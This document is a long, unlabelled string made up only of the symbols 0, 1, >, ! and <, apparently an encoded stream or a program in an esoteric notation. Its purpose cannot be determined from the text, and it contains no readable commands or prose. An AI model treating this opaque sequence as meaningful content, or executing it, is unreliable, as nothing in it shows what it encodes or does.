0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!10110>10110><>10110>1!1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!10110>10110>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!10110><>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0>1!1!<>1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1>0>10110>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>10110>10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1!10110>1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>10110>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>01010111>01>0>10110>101101010111>01>0>1!<>1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>10110>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!<>1!1!1!1>0>1!1!1!1!<>1>0>1!1!10110>1!1!1!1!1>0>1!10110>1!1!1!10110>1!1>0>1!1!1>0>1>01010111>01!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>10110>10110>10110>1!10110>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>10110>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0><>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!<>1>0>1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>01010111>01!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>10110>1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!10110>10110>1!1>0>1>0>1!1!10110>10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>10110>1!1!1!1!1>01010111>01>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!<>1>0>1!1!<>1!1!1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!101101010111>010110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>10110>1!10110>10110>1!1!1!1>0>1>0>10110>1!1!1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>01010111>01!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>01010111>01!1>01010111>01!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!10110>10110>1!1>0>1>0>10110>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1>0>1!1!<>1!1>0>1!1!1!1!1!1!1!<>1!<>1!1>0>1!1!1>0>1>0><>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>01010111>01>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!10110>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!<>1!<>1!1!1>0>1!1!1!1!10110>1!1>0>1!1>0>1>0>1!10110>1!1>0>1>01010111>01>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1!1>01010111>01>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!10110>1!10110>1!1!1!<>1>0>1!1!<>1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!<>1!1>0>1!1!<>1>0>1!1>0>1>0>1!10110>10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1>01010111>01!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!<>1!1!<>1!1>0>10110>1!1!<>1!1!1!1!1!1!10110>1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>01010111>010110>1!10110>1!1!1!10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>10110>10110>1!1!10110>1!1>0>1>0>10110>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!<>1>0>1!1!1>0>1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1!1!<>1!1!10110>1!1!1!<>1!1>0>1!1>0>1!101101010111>01!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0><>10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>10110>10110>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!10110>1!10110><>10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0><>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>10110>1!1!1>0>10110>1!1!1!10110>1!1!1!1!1!1!<>1!1!<>1!1>0>1!1>0>1>0>1!1!1!1!1!<>1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>101101010111>01>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>01010111>01!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!<>1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!<>1!1!<>1!1!1!1>0>1>0>1!1!1!1!<>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1!10110>10110>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>10110>1!1!10110>1!10110>1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0><>1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1>01010111>01!1>0>1>0>1!1>0>1!10110>10110>10110>10110>1!1!1!1!101101010111>01>0>1!1>0>1!1!1>0>1>0>1!10110>1!10110>1!1>0>1!1!1!10110>1!1!1>0>1!1!10110>1!1!1!<>1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!<>1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0><>1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!10110>10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!<>1!1!<>1!1!1>0>1!1>0>1!1!<>1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1>0>10110>10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>01010111>01!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>1!1>0><>1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!<>1!1!<>1!1>0>1!1!1>0>1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!10110>1!10110>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>10110>1!1!1!1!1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!10110>1!1!1>0>1>0>10110>10110>1!1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1>0><>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1!1!<>1!1!<>1!1!1!1!1>0>1!1!1!<>10110>1!1!<>10110>10110>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>10110>1!1!101101010111>01>0>10110>10110>10110>1!1>0>1!1!1!1>0>1!1!10110>101101010111>010110>1!10110>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1!10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>10110>1!1!1>0>10110>1!1!10110>1!10110>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!<>1!1!<>1!10110>1!1!1!<>1!1>0>1!1!1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0><>1>0>1!1>0>1!1>0>1>0>1!1!10110>10110>1!1>0>1!1>0>1>0>10110>10110>1!1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!10110>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!1!1!1!<>1!1!<>1!1!1>0>1>0>1!1!1!<>1!1!1>0>10110>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!10110>10110>1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!10110><>1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>01010111>01>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1>01010111>01!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1!10110>1!1!1!1>01010111>010110>1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1>01010111>01!1!1!<>1>0>1!1>0>1!1>01010111>01>0>10110>1!1>0>1!1>0>1!1!1!<>1!1!<>1!1>0>1!1>0>1!1!1!1!<>10110>1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!10110>10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>10110>1!101101010111>01!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!10110>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!1!1!1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!<>1!1!<>1!1!1!1>0>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1!101101010111>01!10110>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>10110>1!1>0>10110>1!1!1>0>1>01010111>01!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0><>1!1!1>0>10110>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!10110>10110>10110>1!10110>1!1>0>1!1!1>0>1!1!1!1>0>10110>10110>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0><>1!1!1!1>0>1!1!1!<>1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>10110>10110>1!10110>1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!10110>1!1!1!1!10110>1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!10110>10110>1!1>0>1>0>10110>1!1>0>10110>10110>1!1>0>1!10110>1!1!1!1!1>0>1>01010111>01!1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1!<>1!1!<>1!1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>01010111>01!1!1!10110>1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1!10110>1!1!1>0>1>0>101101010111>010110>1!1!10110>1!1!1>0>1>0>10110>10110>1!1>0>1!1!1!1>0>1>0>1!10110>10110>1!1!1>0>1!1>0>1>01010111>010110>10110>1!1!1>0>1!1!1!10110>1!1!1>0>10110>1!1!1>0>1!10110>1!1>0>10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>10110>1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>01010111>01>0>1!1!10110>1!1>0>1!10110>1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>10110>10110>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1!1!1!1!10110>10110>1!<>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!10110>1!10110>1!1>0>10110>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>1!1!10110>1!10110>1!1!1!<>1!1!<>1!1010>01>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0><>1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!10110>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0><>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1>01010111>01!1>0>10110>1!1!1>0>1!1>0>10110>10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!1!<>1!1>0>10110>1!1!1!<>1!1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!101101010111>010110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!10110>1!1!1!1!1>0>1>0>1!10110>10110>10110>1!1!<>1!10110>1!1>0>1!1!1!10110>1!1>0>1>0>1!10110>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1!10110>1!1!1>0>10110>1!1!10110>1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>01010111>01>0><>1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!10110>1!1>0>1!1!1!1!1!1!<>1!1!1!<>1!1!10110>1!1!1!<>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1>0>10110><>1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1!1>0>1>01010111>01!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1!10110>1!1!10110><>1!1>0>1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0><>1!1>0>1>0>1!1!1>0>1>0>1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!10110>10110>1!1>0>1>0>1!1>0>1!1!1!10110>10110>1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>101101010111>01!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1>01010111>010110>1!1>0>1!1!1>0>1!1!<>1!1!1!<>1!1>0>1!1>0>1>0>1!1!<>1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!10110>1!1!1>0>10110>1!1>0>1>0>10110><>1>0>10110>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>01010111>01>0>1!1>0>1!1!1>0>1>0>101101010111>01!1>0>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>10110>1!1>0><>1>0>1!1>0>1!1!1!1>0>1>0>1!1!10110>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!<>1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1